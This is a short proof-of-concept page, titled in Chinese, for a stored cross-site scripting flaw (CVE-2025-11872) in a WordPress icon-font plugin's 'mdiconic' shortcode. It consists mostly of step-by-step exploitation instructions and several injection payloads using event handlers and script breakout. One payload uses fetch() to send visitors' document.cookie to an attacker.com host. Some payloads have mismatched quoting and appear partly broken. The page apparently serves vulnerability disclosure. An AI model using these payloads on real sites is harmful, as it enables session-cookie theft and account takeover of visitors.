CVE-2025-11872：WordPress Material Design Iconic Font插件存储型XSS漏洞

<!-- PoC for CVE-2025-11872 Stored XSS via 'mdiconic' shortcode in Material Design Iconic Font Integration plugin Requires: Contributor-level WordPress account or above --> <!-- Step 1: Login to WordPress as a Contributor or higher --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Insert the following malicious shortcode in the content editor --> [mdiconic icon="fa-home" color="' onmouseover='alert(document.cookie)"] <!-- Alternative payloads --> <!-- Payload 1: Using onerror event handler --> [mdiconic icon='" onerror="alert(1)'"] <!-- Payload 2: Using onclick event handler --> [mdiconic icon="test" size='" onclick="alert("XSS")"'] <!-- Payload 3: Breaking out of attribute context --> [mdiconic icon="><script>alert('XSS-CVE-2025-11872')</script>"] <!-- Step 4: Publish the post/page --> <!-- Step 5: When any user visits the published page, the malicious JavaScript executes in their browser --> <!-- Full exploit example using HTML/JS for understanding --> <script> // Simulated exploit flow: // 1. Attacker authenticates with contributor credentials // 2. Attacker submits post with payload via WordPress REST API or admin panel // 3. Payload gets stored in wp_posts table without sanitization // 4. When victim loads the page, shortcode renders unsanitized HTML // 5. Malicious script executes in victim's browser context var exploitPayload = '[mdiconic icon="fa-home" color="\' onmouseover=\'fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\'"]'; console.log("XSS Payload:", exploitPayload); </script>